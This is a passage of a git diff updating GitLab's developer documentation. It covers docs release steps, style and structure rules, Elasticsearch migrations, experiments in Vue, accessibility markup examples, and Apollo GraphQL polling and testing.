to update the dropdowns. For - example, for the 13.9 release: - - ```shell - git checkout release-13-9 - ./bin/rake release:dropdowns - ``` - - These merge requests are set to automatically merge. - -1. [Visit the merge requests page](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests?label_name%5B%5D=release) - to check that their pipelines pass. After all MRs are merged, proceed to the following and final - step. - -## Merge release merge request and run Docker image builds - -The merge requests for the dropdowns should now all be merged into their respective stable branches. -Each merge triggers a new pipeline for each stable branch. Wait for the stable branch pipelines to -complete, then: - -1. Check the [pipelines page](https://gitlab.com/gitlab-org/gitlab-docs/pipelines) - and make sure all stable branches have green pipelines. -1. After all the pipelines succeed, merge the [release merge request](#create-release-merge-request). -1. Finally, run the - [`Build docker images weekly` pipeline](https://gitlab.com/gitlab-org/gitlab-docs/pipeline_schedules) - that builds the `:latest` and `:archives` Docker images. - -As the last step in the scheduled pipeline, the documentation site deploys with all new versions. +<!-- This redirect file can be deleted after <2021-07-12>. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/documentation/structure.md b/doc/development/documentation/structure.md index 65949d5b5f5..33bfc040bb6 100644 --- a/doc/development/documentation/structure.md +++ b/doc/development/documentation/structure.md @@ -52,9 +52,9 @@ A concept should answer the questions: - What is this? - Why would I use it? -Think of everything someone might want to know if they’ve never heard of this topic before. +Think of everything someone might want to know if they've never heard of this topic before. -Don’t tell them **how** to do this thing. Tell them **what it is**. +Don't tell them **how** to do this thing. Tell them **what it is**. If you start describing another topic, start a new concept and link to it. @@ -113,7 +113,7 @@ To create an issue: 1. Go to **Issues > List**. 1. In the top right, click **New issue**. 1. Complete the fields. (If you have a reference topic that lists each field, link to it here.) -1. Click **Submit issue**. +1. Click **Create issue**. The issue is created. You can view it by going to **Issues > List**. ``` @@ -153,6 +153,14 @@ This issue occurs when... The workaround is... ``` +For the topic title: + +- Consider including at least a partial error message in the title. +- Use fewer than 70 characters. + +Remember to include the complete error message in the topics content if it is +not complete in the title. + ## Other information on a topic Topics include other information. diff --git a/doc/development/documentation/styleguide/index.md b/doc/development/documentation/styleguide/index.md index 4831e5bbce5..25cdbaf75ba 100644 --- a/doc/development/documentation/styleguide/index.md +++ b/doc/development/documentation/styleguide/index.md @@ -608,7 +608,7 @@ Follow these guidelines for punctuation: | Do not use tabs for indentation. Use spaces instead. You can configure your code editor to output spaces instead of tabs when pressing the tab key. | --- | | Use serial commas (_Oxford commas_) before the final _and_ or _or_ in a list of three or more items. (Tested in [`OxfordComma.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/OxfordComma.yml).) | _You can create new issues, merge requests, and milestones._ | | Always add a space before and after dashes when using it in a sentence (for replacing a comma, for example). | _You should try this - or not._ | -| Always use lowercase after a colon. | _Related Issues: a way to create a relationship between issues._ | +| Always use lowercase after a colon. | Linked issues: a way to create a relationship between issues._ | <!-- vale gitlab.Repetition = YES --> diff --git a/doc/development/documentation/testing.md b/doc/development/documentation/testing.md index eed544911cb..aee3144e6de 100644 --- a/doc/development/documentation/testing.md +++ b/doc/development/documentation/testing.md @@ -166,7 +166,7 @@ You can use markdownlint: ### Vale -[Vale](https://errata-ai.gitbook.io/vale/) is a grammar, style, and word usage linter for the +[Vale](https://docs.errata.ai/vale/about/) is a grammar, style, and word usage linter for the English language. Vale's configuration is stored in the [`.vale.ini`](https://gitlab.com/gitlab-org/gitlab/blob/master/.vale.ini) file located in the root directory of projects. @@ -188,7 +188,7 @@ This configuration is also used in build pipelines, where You can use Vale: -- [On the command line](https://errata-ai.gitbook.io/vale/getting-started/usage). +- [On the command line](https://docs.errata.ai/vale/cli). - [In a code editor](#configure-editors). - [In a Git hook](#configure-pre-push-hooks). Vale only reports errors in the Git hook (the same configuration as the CI/CD pipelines), and does not report suggestions or warnings. @@ -333,4 +333,4 @@ document: Whenever possible, exclude only the problematic rule and line(s). For more information, see -[Vale's documentation](https://errata-ai.gitbook.io/vale/getting-started/markup#markup-based-configuration). +[Vale's documentation](https://docs.errata.ai/vale/scoping#markup-based-configuration). diff --git a/doc/development/ee_features.md b/doc/development/ee_features.md index 81014b7624c..35e7824721a 100644 --- a/doc/development/ee_features.md +++ b/doc/development/ee_features.md @@ -23,6 +23,8 @@ when no license is active. So EE features always should be guarded by `project.feature_available?` or `group.feature_available?` (or `License.feature_available?` if it is a system-wide feature). +Frontend features should be guarded by pushing a flag from the backend by [using `push_licensed_feature`](licensed_feature_availability.md#restricting-frontend-features), and checked using `this.glFeatures.someFeature` in the frontend. + CE specs should remain untouched as much as possible and extra specs should be added for EE. Licensed features can be stubbed using the spec helper `stub_licensed_features` in `EE::LicenseHelpers`. diff --git a/doc/development/elasticsearch.md b/doc/development/elasticsearch.md index 3f14ca454fe..705a69765f7 100644 --- a/doc/development/elasticsearch.md +++ b/doc/development/elasticsearch.md @@ -198,7 +198,10 @@ filename format, which is similar to Rails database migrations: # frozen_string_literal: true class MigrationName < Elastic::Migration - # Important: Any update to the Elastic index mappings should be replicated in Elastic::Latest::Config + # Important: Any updates to the Elastic index mappings must be replicated in the respective + # configuration files: + # - `Elastic::Latest::Config`, for the main index. + # - `Elastic::Latest::<Type>Config`, for standalone indices. def migrate end @@ -214,7 +217,10 @@ Applied migrations are stored in `gitlab-#{RAILS_ENV}-migrations` index. All mig are applied by the [`Elastic::MigrationWorker`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/app/workers/elastic/migration_worker.rb) cron worker sequentially. -Any update to the Elastic index mappings should be replicated in [`Elastic::Latest::Config`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/elastic/latest/config.rb). +To update Elastic index mappings, apply the configuration to the respective files: + +- For the main index: [`Elastic::Latest::Config`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/elastic/latest/config.rb). +- For standalone indices: `Elastic::Latest::<Type>Config`. Migrations can be built with a retry limit and have the ability to be [failed and marked as halted](https://gitlab.com/gitlab-org/gitlab/-/blob/66e899b6637372a4faf61cfd2f254cbdd2fb9f6d/ee/lib/elastic/migration.rb#L40). Any data or index cleanup needed to support migration retries should be handled within the migration. @@ -235,6 +241,10 @@ cron worker runs. Default value is 5 minutes. - `pause_indexing!` - Pause indexing while the migration runs. This setting will record the indexing setting before the migration runs and set it back to that value when the migration is completed. +- `space_requirements!` - Verify that enough free space is available in the cluster when the migration runs. This setting + will halt the migration if the storage required is not available when the migration runs. The migration must provide + the space required in bytes by defining a `space_required_bytes` method. + ```ruby # frozen_string_literal: true @@ -242,7 +252,9 @@ class BatchedMigrationName < Elastic::Migration # Declares a migration should be run in batches batched! throttle_delay 10.minutes - + pause_indexing! + space_requirements! + # ... end ``` diff --git a/doc/development/emails.md b/doc/development/emails.md index 1de1da33dc2..3e651a6efb8 100644 --- a/doc/development/emails.md +++ b/doc/development/emails.md @@ -54,9 +54,12 @@ See the [Rails guides](https://guides.rubyonrails.org/action_mailer_basics.html# incoming_email: enabled: true - # The email address including the %{key} placeholder that will be replaced to reference the item being replied to. This %{key} should be included in its entirety within the email address and not replaced by another value. - # For example: emailadress+%key@gmail.com. - # The placeholder can be omitted but if present, it must appear in the "user" part of the address (before the `@`). + # The email address including the %{key} placeholder that will be replaced to reference the + # item being replied to. This %{key} should be included in its entirety within the email + # address and not replaced by another value. + # For example: emailadress+%{key}@gmail.com. + # The placeholder must appear in the "user" part of the address (before the `@`). It can be omitted but some features, + # including Service Desk, may not work properly. address: "gitlab-incoming+%{key}@gmail.com" # Email account username diff --git a/doc/development/experiment_guide/gitlab_experiment.md b/doc/development/experiment_guide/gitlab_experiment.md index 6b15449b812..4b93105ea50 100644 --- a/doc/development/experiment_guide/gitlab_experiment.md +++ b/doc/development/experiment_guide/gitlab_experiment.md @@ -17,8 +17,8 @@ You're strongly encouraged to read and understand the [Feature flags in development of GitLab](../feature_flags/index.md) portion of the documentation before considering running experiments. Experiments add additional concepts which may seem confusing or advanced without understanding the underpinnings -of how GitLab uses feature flags in development. One concept: GLEX supports multivariate -experiments, which are sometimes referred to as A/B/n tests. +of how GitLab uses feature flags in development. One concept: GLEX supports +experiments with multiple variants, which are sometimes referred to as A/B/n tests. The [`gitlab-experiment` project](https://gitlab.com/gitlab-org/gitlab-experiment) exists in a separate repository, so it can be shared across any GitLab property that uses @@ -49,7 +49,7 @@ graph TD Running? -->|No| Excluded[Control / No Tracking] Cached? -->|No| Excluded? Cached? -->|Yes| Cached[Cached Value] - Excluded? -->|Yes / Cached| Excluded + Excluded? -->|Yes| Excluded Excluded? -->|No| Segmented? Segmented? -->|Yes / Cached| VariantA Segmented? -->|No| Included?[Experiment Group?] @@ -92,7 +92,7 @@ end ``` When this code executes, the experiment is run, a variant is assigned, and (if within a -controller or view) a `window.gon.experiment.pillColor` object will be available in the +controller or view) a `window.gon.experiment.pill_color` object will be available in the client layer, with details like: - The assigned variant. @@ -367,7 +367,7 @@ about contexts now. We can assume we run the experiment in one or a few places, but track events potentially in many places. The tracking call remains the same, with the arguments you would normally use when -[tracking events using snowplow](../snowplow.md). The easiest example +[tracking events using snowplow](../snowplow/index.md). The easiest example of tracking an event in Ruby would be: ```ruby @@ -501,6 +501,69 @@ Any experiment that's been run in the request lifecycle surfaces in `window.gon. and matches [this schema](https://gitlab.com/gitlab-org/iglu/-/blob/master/public/schemas/com.gitlab/gitlab_experiment/jsonschema/1-0-0) so you can use it when resolving some concepts around experimentation in the client layer. +### Use experiments in Vue + +With the `experiment` component, you can define slots that match the name of the +variants pushed to `window.gon.experiment`. For example, if we alter the `pill_color` +experiment to just use the default variants of `control` and `candidate` like so: + +```ruby +def show + experiment(:pill_color) do |e| + e.use { } # control + e.try { } # candidate + end.run +end +``` + +We can make use of the named slots `control` and `candidate` in the Vue component: + +```vue +<script> +import Experiment from '~/experimentation/components/experiment.vue'; + +export default { + components: { Experiment } +} +</script> + +<template> + <experiment name="pill_color"> + <template #control> + <button class="bg-default">Click default button</button> + </template> + + <template #candidate> + <button class="bg-red">Click red button</button> + </template> + </experiment> +</template> +``` + +When you're coding for an experiment with multiple variants, you can use the variant names. +For example, the Vue component for the previously-defined `pill_color` experiment with `red` and `blue` variants would look like this: + +```vue +<template> + <experiment name="pill_color"> + <template #control> + <button class="bg-default">Click default button</button> + </template> + + <template #red> + <button class="bg-red">Click red button</button> + </template> + + <template #blue> + <button class="bg-blue">Click blue button</button> + </template> + </experiment> +</template> +``` + +NOTE: +When there is no experiment data in the `window.gon.experiment` object for the given experiment name, the `control` slot will be used, if it exists. + ## Notes on feature flags NOTE: @@ -525,7 +588,7 @@ Conditional means that it returns `true` in some situations, but not all situati When a feature flag is disabled (meaning the state is `off`), the experiment is considered _inactive_. You can visualize this in the [decision tree diagram](#how-it-works) -as reaching the first [Running?] node, and traversing the negative path. +as reaching the first `Running?` node, and traversing the negative path. When a feature flag is rolled out to a `percentage_of_actors` or similar (meaning the state is `conditional`) the experiment is considered to be _running_ diff --git a/doc/development/fe_guide/accessibility.md b/doc/development/fe_guide/accessibility.md index 5f22c13ca06..ab1325c67a9 100644 --- a/doc/development/fe_guide/accessibility.md +++ b/doc/development/fe_guide/accessibility.md @@ -15,39 +15,264 @@ This page contains guidelines we should follow. Since [no ARIA is better than bad ARIA](https://www.w3.org/TR/wai-aria-practices/#no_aria_better_bad_aria), review the following recommendations before using `aria-*`, `role`, and `tabindex`. -Use semantic HTML, which typically has accessibility semantics baked in, but always be sure to test with +Use semantic HTML, which has accessibility semantics baked in, and ideally test with [relevant combinations of screen readers and browsers](https://www.accessibility-developer-guide.com/knowledge/screen-readers/relevant-combinations/). In [WebAIM's accessibility analysis of the top million home pages](https://webaim.org/projects/million/#aria), they found that "ARIA correlated to higher detectable errors". It is likely that *misuse* of ARIA is a big cause of increased errors, -so when in doubt don't use `aria-*`, `role`, and `tabindex`, and stick with semantic HTML. - -## Provide accessible names to screen readers +so when in doubt don't use `aria-*`, `role`, and `tabindex` and stick with semantic HTML. + +## Quick checklist + +- [Text](#text-inputs-with-accessible-names), + [select](#select-inputs-with-accessible-names), + [checkbox](#checkbox-inputs-with-accessible-names), + [radio](#radio-inputs-with-accessible-names), + [file](#file-inputs-with-accessible-names), + and [toggle](#gltoggle-components-with-an-accessible-names) inputs have accessible names. +- [Buttons](#buttons-and-links-with-descriptive-accessible-names), + [links](#buttons-and-links-with-descriptive-accessible-names), + and [images](#images-with-accessible-names) have descriptive accessible names. +- Icons + - [Non-decorative icons](#icons-that-convey-information) have an `aria-label`. + - [Clickable icons](#icons-that-are-clickable) are buttons, that is, `<gl-button icon="close" />` is used and not `<gl-icon />`. + - Icon-only buttons have an `aria-label`. +- Interactive elements can be [accessed with the Tab key](#support-keyboard-only-use) and have a visible focus state. +- Are any `role`, `tabindex` or `aria-*` attributes unnecessary? +- Can any `div` or `span` elements be replaced with a more semantic [HTML element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element) like `p`, `button`, or `time`? + +## Provide accessible names for screen readers To provide markup with accessible names, ensure every: - `input` has an associated `label`. -- `button` and `a` have child text, or `aria-label` when text isn’t present. - For example, an icon button with no visible text. +- `button` and `a` have child text, or `aria-label` when child text isn't present, such as for an icon button with no content. - `img` has an `alt` attribute. - `fieldset` has `legend` as its first child. - `figure` has `figcaption` as its first child. - `table` has `caption` as its first child. +Groups of checkboxes and radio inputs should be grouped together in a `fieldset` with a `legend`. +`legend` gives the group of checkboxes and radio inputs a label. + If the `label`, child text, or child element is not visually desired, use `.gl-sr-only` to hide the element from everything but screen readers. -Ensure the accessible name is descriptive enough to be understood in isolation. +### Examples of providing accessible names + +The following subsections contain examples of markup that render HTML elements with accessible names. + +Note that [when using `GlFormGroup`](https://bootstrap-vue.org/docs/components/form-group#accessibility): + +- Passing only a `label` prop renders a `fieldset` with a `legend` containing the `label` value. +- Passing both a `label` and a `label-for` prop renders a `label` that points to the form input with the same `label-for` ID. + +#### Text inputs with accessible names + +When using `GlFormGroup`, the `label` prop alone does not give the input an accessible name. +The `label-for` prop must also be provided to give the input an accessible name. + +Text input examples: + +```html +<!-- Input with label --> +<gl-form-group :label="__('Issue title')" label-for="issue-title"> + <gl-form-input id="issue-title" v-model="title" name="title" /> +</gl-form-group> + +<!-- Input with hidden label --> +<gl-form-group :label="__('Issue title')" label-for="issue-title" :label-sr-only="true"> + <gl-form-input id="issue-title" v-model="title" name="title" /> +</gl-form-group> +``` + +Textarea examples: + +```html +<!-- Textarea with label --> +<gl-form-group :label="__('Issue description')" label-for="issue-description"> + <gl-form-textarea id="issue-description" v-model="description" name="description" /> +</gl-form-group> + +<!-- Textarea with hidden label --> +<gl-form-group :label="__('Issue description')" label-for="issue-description" :label-sr-only="true"> + <gl-form-textarea id="issue-description" v-model="description" name="description" /> +</gl-form-group> +``` + +Alternatively, you can use a plain `label` element: + +```html +<!-- Input with label using `label` --> +<label for="issue-title">{{ __('Issue title') }}</label> +<gl-form-input id="issue-title" v-model="title" name="title" /> + +<!-- Input with hidden label using `label` --> +<label for="issue-title" class="gl-sr-only">{{ __('Issue title') }}</label> +<gl-form-input id="issue-title" v-model="title" name="title" /> +``` + +#### Select inputs with accessible names + +Select input examples: + +```html +<!-- Select input with label --> +<gl-form-group :label="__('Issue status')" label-for="issue-status"> + <gl-form-select id="issue-status" v-model="status" name="status" :options="options" /> +</gl-form-group> + +<!-- Select input with hidden label --> +<gl-form-group :label="__('Issue status')" label-for="issue-status" :label-sr-only="true"> + <gl-form-select id="issue-status" v-model="status" name="status" :options="options" /> +</gl-form-group> +``` + +#### Checkbox inputs with accessible names + +Single checkbox: + +```html +<!-- Single checkbox with label --> +<gl-form-checkbox v-model="status" name="status" value="task-complete"> + {{ __('Task complete') }} +</gl-form-checkbox> + +<!-- Single checkbox with hidden label --> +<gl-form-checkbox v-model="status" name="status" value="task-complete"> + <span class="gl-sr-only">{{ __('Task complete') }}</span> +</gl-form-checkbox> +``` + +Multiple checkboxes: + +```html +<!-- Multiple labeled checkboxes grouped within a fieldset --> +<gl-form-group :label="__('Task list')"> + <gl-form-checkbox name="task-list" value="task-1">{{ __('Task 1') }}</gl-form-checkbox> + <gl-form-checkbox name="task-list" value="task-2">{{ __('Task 2') }}</gl-form-checkbox> +</gl-form-group> + +<!-- Or --> +<gl-form-group :label="__('Task list')"> + <gl-form-checkbox-group v-model="selected" :options="options" name="task-list" /> +</gl-form-group> + +<!-- Multiple labeled checkboxes grouped within a fieldset with hidden legend --> +<gl-form-group :label="__('Task list')" :label-sr-only="true"> + <gl-form-checkbox name="task-list" value="task-1">{{ __('Task 1') }}</gl-form-checkbox> + <gl-form-checkbox name="task-list" value="task-2">{{ __('Task 2') }}</gl-form-checkbox> +</gl-form-group> + +<!-- Or --> +<gl-form-group :label="__('Task list')" :label-sr-only="true"> + <gl-form-checkbox-group v-model="selected" :options="options" name="task-list" /> +</gl-form-group> +``` + +#### Radio inputs with accessible names + +Single radio input: + +```html +<!-- Single radio with a label --> +<gl-form-radio v-model="status" name="status" value="opened"> + {{ __('Opened') }} +</gl-form-radio> + +<!-- Single radio with a hidden label --> +<gl-form-radio v-model="status" name="status" value="opened"> + <span class="gl-sr-only">{{ __('Opened') }}</span> +</gl-form-radio> +``` + +Multiple radio inputs: + +```html +<!-- Multiple labeled radio inputs grouped within a fieldset --> +<gl-form-group :label="__('Issue status')"> + <gl-form-radio name="status" value="opened">{{ __('Opened') }}</gl-form-radio> + <gl-form-radio name="status" value="closed">{{ __('Closed') }}</gl-form-radio> +</gl-form-group> + +<!-- Or --> +<gl-form-group :label="__('Issue status')"> + <gl-form-radio-group v-model="selected" :options="options" name="status" /> +</gl-form-group> + +<!-- Multiple labeled radio inputs grouped within a fieldset with hidden legend --> +<gl-form-group :label="__('Issue status')" :label-sr-only="true"> + <gl-form-radio name="status" value="opened">{{ __('Opened') }}</gl-form-radio> + <gl-form-radio name="status" value="closed">{{ __('Closed') }}</gl-form-radio> +</gl-form-group> + +<!-- Or --> +<gl-form-group :label="__('Issue status')" :label-sr-only="true"> + <gl-form-radio-group v-model="selected" :options="options" name="status" /> +</gl-form-group> +``` + +#### File inputs with accessible names + +File input examples: + +```html +<!-- File input with a label --> +<label for="attach-file">{{ __('Attach a file') }}</label> +<input id="attach-file" type="file" name="attach-file" /> + +<!-- File input with a hidden label --> +<label for="attach-file" class="gl-sr-only">{{ __('Attach a file') }}</label> +<input id="attach-file" type="file" name="attach-file" /> +``` + +#### GlToggle components with an accessible names + +`GlToggle` examples: ```html -// bad -<button>Submit</button> -<a href="url">page</a> +<!-- GlToggle with label --> +<gl-toggle v-model="notifications" :label="__('Notifications')" /> -// good -<button>Submit review</button> -<a href="url">GitLab's accessibility page</a> +<!-- GlToggle with hidden label --> +<gl-toggle v-model="notifications" :label="__('Notifications')" label-position="hidden" /> +``` + +#### GlFormCombobox components with an accessible names + +`GlFormCombobox` examples: + +```html +<!-- GlFormCombobox with label --> +<gl-form-combobox :label-text="__('Key')" :token-list="$options.tokenList" /> +``` + +#### Images with accessible names + +Image examples: + +```html +<img :src="imagePath" :alt="__('A description of the image')" /> + +<!-- SVGs implicitly have a graphics role so if it is semantically an image we should apply `role="img"` --> +<svg role="img" :alt="__('A description of the image')" /> +``` + +#### Buttons and links with descriptive accessible names + +Buttons and links should have accessible names that are descriptive enough to be understood in isolation. + +```html +<!-- bad --> +<gl-button @click="handleClick">{{ __('Submit') }}</gl-button> + +<gl-link :href="url">{{ __('page') }}</gl-link> + +<!-- good --> +<gl-button @click="handleClick">{{ __('Submit review') }}</gl-button> + +<gl-link :href="url">{{ __("GitLab's accessibility page") }}</gl-link> ``` ## Role @@ -81,31 +306,37 @@ element is interactive you must ensure: Use semantic HTML, such as `a` and `button`, which provides these behaviours by default. +Keep in mind that: + +- <kbd>Tab</kbd> and <kbd>Shift-Tab</kbd> should only move between interactive elements, not static content. +- When you add `:hover` styles, in most cases you should add `:focus` styles too so that the styling is applied for both mouse **and** keyboard users. +- If you remove an interactive element's `outline`, make sure you maintain visual focus state in another way such as with `box-shadow`. + See the [Pajamas Keyboard-only page](https://design.gitlab.com/accessibility-audits/2-keyboard-only/) for more detail. ## Tabindex Prefer **no** `tabindex` to using `tabindex`, since: -- Using semantic HTML such as `button` implicitly provides `tabindex="0"` -- Tabbing order should match the visual reading order and positive `tabindex`s interfere with this +- Using semantic HTML such as `button` implicitly provides `tabindex="0"`. +- Tabbing order should match the visual reading order and positive `tabindex`s interfere with this. ### Avoid using `tabindex="0"` to make an element interactive -Use interactive elements instead of `div`s and `span`s. +Use interactive elements instead of `div` and `span` tags. For example: -- If the element should be clickable, use a `button` -- If the element should be text editable, use an `input` or `textarea` +- If the element should be clickable, use a `button`. +- If the element should be text editable, use an `input` or `textarea`. Once the markup is semantically complete, use CSS to update it to its desired visual state. ```html -// bad +<!-- bad --> <div role="button" tabindex="0" @click="expand">Expand</div> -// good -<button @click="expand">Expand</button> +<!-- good --> +<gl-button @click="expand">Expand</gl-button> ``` ### Do not use `tabindex="0"` on interactive elements @@ -113,13 +344,13 @@ Once the markup is semantically complete, use CSS to update it to its desired vi Interactive elements are already tab accessible so adding `tabindex` is redundant. ```html -// bad -<a href="help" tabindex="0">Help</a> -<button tabindex="0">Submit</button> +<!-- bad --> +<gl-link href="help" tabindex="0">Help</gl-link> +<gl-button tabindex="0">Submit</gl-button> -// good -<a href="help">Help</a> -<button>Submit</button> +<!-- good --> +<gl-link href="help">Help</gl-link> +<gl-button>Submit</gl-button> ``` ### Do not use `tabindex="0"` on elements for screen readers to read @@ -129,10 +360,10 @@ The use of `tabindex="0"` is unnecessary and can cause problems, as screen reader users then expect to be able to interact with it. ```html -// bad -<span tabindex="0" :aria-label="message">{{ message }}</span> +<!-- bad --> +<p tabindex="0" :aria-label="message">{{ message }}</p> -// good +<!-- good --> <p>{{ message }}</p> ``` @@ -141,6 +372,57 @@ as screen reader users then expect to be able to interact with it. [Always avoid using `tabindex="1"`](https://webaim.org/techniques/keyboard/tabindex#overview) or greater. +## Icons + +Icons can be split into three different types: + +- Icons that are decorative +- Icons that convey meaning +- Icons that are clickable + +### Icons that are decorative + +Icons are decorative when there's no loss of information to the user when they are removed from the UI. + +As the majority of icons within GitLab are decorative, `GlIcon` automatically hides its rendered icons from screen readers. +Therefore, you do not need to add `aria-hidden="true"` to `GlIcon`, as this is redundant. + +```html +<!-- unnecessary — gl-icon hides icons from screen readers by default --> +<gl-icon name="rocket" aria-hidden="true" />` + +<!-- good --> +<gl-icon name="rocket" />` +``` + +### Icons that convey information + +Icons convey information if there is loss of information to the user when they are removed from the UI. + +An example is a confidential icon that conveys the issue is confidential, and does not have the text "Confidential" next to it. + +Icons that convey information must have an accessible name so that the information is conveyed to screen reader users too. + +```html +<!-- bad --> +<gl-icon name="eye-slash" />` + +<!-- good --> +<gl-icon name="eye-slash" :aria-label="__('Confidential issue')" />` +``` + +### Icons that are clickable + +Icons that are clickable are semantically buttons, so they should be rendered as buttons, with an accessible name. + +```html +<!-- bad --> +<gl-icon name="close" :aria-label="__('Close')" @click="handleClick" /> + +<!-- good --> +<gl-button icon="close" category="tertiary" :aria-label="__('Close')" @click="handleClick" /> +``` + ## Hiding elements Use the following table to hide elements from users, when appropriate. @@ -158,22 +440,24 @@ If the image is not an `img` element, such as an inline SVG, you can hide it by unnecessary when using `gl-icon`. ```html -// good - decorative images hidden from screen readers +<!-- good - decorative images hidden from screen readers --> + <img src="decorative.jpg" alt=""> -<svg role="img" alt=""> -<gl-icon name="epic"/> + +<svg role="img" alt="" /> + +<gl-icon name="epic" /> ``` -## When should ARIA be used +## When to use ARIA -No ARIA is required when using semantic HTML because it incorporates accessibility. +No ARIA is required when using semantic HTML, because it already incorporates accessibility. -However, there are some UI patterns and widgets that do not have semantic HTML equivalents. +However, there are some UI patterns that do not have semantic HTML equivalents. +General examples of these are dialogs (modals) and tabs. +GitLab-specific examples are assignee and label dropdowns. Building such widgets require ARIA to make them understandable to screen readers. -Proper research and testing should be done to ensure compliance with ARIA. - -Ideally, these widgets would exist only in [GitLab UI](https://gitlab-org.gitlab.io/gitlab-ui/). -Use of ARIA would then only occur in [GitLab UI](https://gitlab.com/gitlab-org/gitlab-ui/) and not [GitLab](https://gitlab.com/gitlab-org/gitlab/). +Proper research and testing should be done to ensure compliance with [WCAG](https://www.w3.org/WAI/standards-guidelines/wcag/). ## Resources diff --git a/doc/development/fe_guide/dependencies.md b/doc/development/fe_guide/dependencies.md index bf46e8e16ce..e8e251baafc 100644 --- a/doc/development/fe_guide/dependencies.md +++ b/doc/development/fe_guide/dependencies.md @@ -26,7 +26,7 @@ production assets post-compile. We use the [Renovate GitLab Bot](https://gitlab.com/gitlab-org/frontend/renovate-gitlab-bot) to automatically create merge requests for updating dependencies of several projects. -You can find the up-to-date list of projects managed by the renovate bot in the project’s README. +You can find the up-to-date list of projects managed by the renovate bot in the project's README. Some key dependencies updated using renovate are: diff --git a/doc/development/fe_guide/design_anti_patterns.md b/doc/development/fe_guide/design_anti_patterns.md index d230e413879..ee4fceff927 100644 --- a/doc/development/fe_guide/design_anti_patterns.md +++ b/doc/development/fe_guide/design_anti_patterns.md @@ -30,7 +30,7 @@ const createStore = () => new Vuex.Store({ // Notice that we are forcing all references to this module to use the same single instance of the store. // We are also creating the store at import-time and there is nothing which can automatically dispose of it. // -// As an alternative, we should simply export the `createStore` and let the client manage the +// As an alternative, we should export the `createStore` and let the client manage the // lifecycle and instance of the store. export default createStore(); ``` @@ -129,7 +129,7 @@ Here are some ills that Singletons often produce: This is because of the limitations of languages like Java where everything has to be wrapped in a class. In JavaScript we have things like object and function literals where we can solve -many problems with a module that simply exports utility functions. +many problems with a module that exports utility functions. ### When could the Singleton pattern be actually appropriate?** diff --git a/doc/development/fe_guide/graphql.md b/doc/development/fe_guide/graphql.md index 2e812d9fa0a..e87b4197269 100644 --- a/doc/development/fe_guide/graphql.md +++ b/doc/development/fe_guide/graphql.md @@ -43,13 +43,9 @@ can help you learn how to integrate Vue Apollo. For other use cases, check out the [Usage outside of Vue](#usage-outside-of-vue) section. -<!-- vale gitlab.Spelling = NO --> - -We use [Immer](https://immerjs.github.io/immer/docs/introduction) for immutable cache updates; +We use [Immer](https://immerjs.github.io/immer/) for immutable cache updates; see [Immutability and cache updates](#immutability-and-cache-updates) for more information. -<!-- vale gitlab.Spelling = YES --> - ### Tooling <!-- vale gitlab.Spelling = NO --> @@ -173,14 +169,10 @@ const primaryKeyId = getIdFromGraphQLId(data.id); From Apollo version 3.0.0 all the cache updates need to be immutable. It needs to be replaced entirely with a **new and updated** object. -<!-- vale gitlab.Spelling = NO --> - To facilitate the process of updating the cache and returning the new object we -use the library [Immer](https://immerjs.github.io/immer/docs/introduction). +use the library [Immer](https://immerjs.github.io/immer/). When possible, follow these conventions: -<!-- vale gitlab.Spelling = YES --> - - The updated cache is named `data`. - The original cache data is named `sourceData`. @@ -238,17 +230,33 @@ Read more about [Vue Apollo](https://github.com/vuejs/vue-apollo) in the [Vue Ap It is possible to manage an application state with Apollo by passing in a resolvers object when creating the default client. The default state can be set by writing -to the cache after setting up the default client. +to the cache after setting up the default client. In the example below, we are using query with `@client` Apollo directive to write the initial data to Apollo cache and then get this state in the Vue component: + +```javascript +// user.query.graphql + +query User { + user @client { + name + surname + age + } +} +``` ```javascript +// index.js + import Vue from 'vue'; import VueApollo from 'vue-apollo'; import createDefaultClient from '~/lib/graphql'; +import userQuery from '~/user/user.query.graphql' Vue.use(VueApollo); const defaultClient = createDefaultClient(); -defaultClient.cache.writeData({ +defaultClient.cache.writeQuery({ + query: userQuery, data: { user: { name: 'John', @@ -263,16 +271,15 @@ const apolloProvider = new VueApollo({ }); ``` -We can query local data with `@client` Apollo directive: - ```javascript -// user.query.graphql +// App.vue +import userQuery from '~/user/user.query.graphql' -query User { - user @client { - name - surname - age +export default { + apollo: { + user: { + query: userQuery + } } } ``` @@ -767,6 +774,66 @@ export default { }; ``` +#### Polling and Performance + +While the Apollo client has support for simple polling, for performance reasons, our [Etag-based caching](../polling.md) is preferred to hitting the database each time. + +Once the backend is set up, there are a few changes to make on the frontend. + +First, get your resource Etag path from the backend. In the example of the pipelines graph, this is called the `graphql_resource_etag`. This will be used to create new headers to add to the Apollo context: + +```javascript +/* pipelines/components/graph/utils.js */ + +/* eslint-disable @gitlab/require-i18n-strings */ +const getQueryHeaders = (etagResource) => { + return { + fetchOptions: { + method: 'GET', + }, + headers: { + /* This will depend on your feature */ + 'X-GITLAB-GRAPHQL-FEATURE-CORRELATION': 'verify/ci/pipeline-graph', + 'X-GITLAB-GRAPHQL-RESOURCE-ETAG': etagResource, + 'X-REQUESTED-WITH': 'XMLHttpRequest', + }, + }; +}; +/* eslint-enable @gitlab/require-i18n-strings */ + +/* component.vue */ + +apollo: { + pipeline: { + context() { + return getQueryHeaders(this.graphqlResourceEtag); + }, + query: getPipelineDetails, + pollInterval: 10000, + .. + }, +}, +``` + +Then, because Etags depend on the request being a `GET` instead of GraphQL's usual `POST`, but our default link library does not support `GET` we need to let our defaut Apollo client know to use a different library. + +```javascript +/* componentMountIndex.js */ + +const apolloProvider = new VueApollo({ + defaultClient: createDefaultClient( + {}, + { + useGet: true, + }, + ), +}); +``` + +Keep in mind, this means your app will not batch queries. + +Once subscriptions are mature, this process can be replaced by using them and we can remove the separate link library and return to batching queries. + ### Testing #### Generating the GraphQL schema @@ -1377,6 +1444,34 @@ describe('My Index test with `createMockApollo`', () => { }); ``` +When you need to configure the mocked apollo client's caching behavior, +provide additional cache options when creating a mocked client instance and the provided options will merge with the default cache option: + +```javascript +const defaultCacheOptions = { + fragmentMatcher: { match: () => true }, + addTypename: false, +}; +``` + +```javascript +function createMockApolloProvider({ props = {}, requestHandlers } = {}) { + 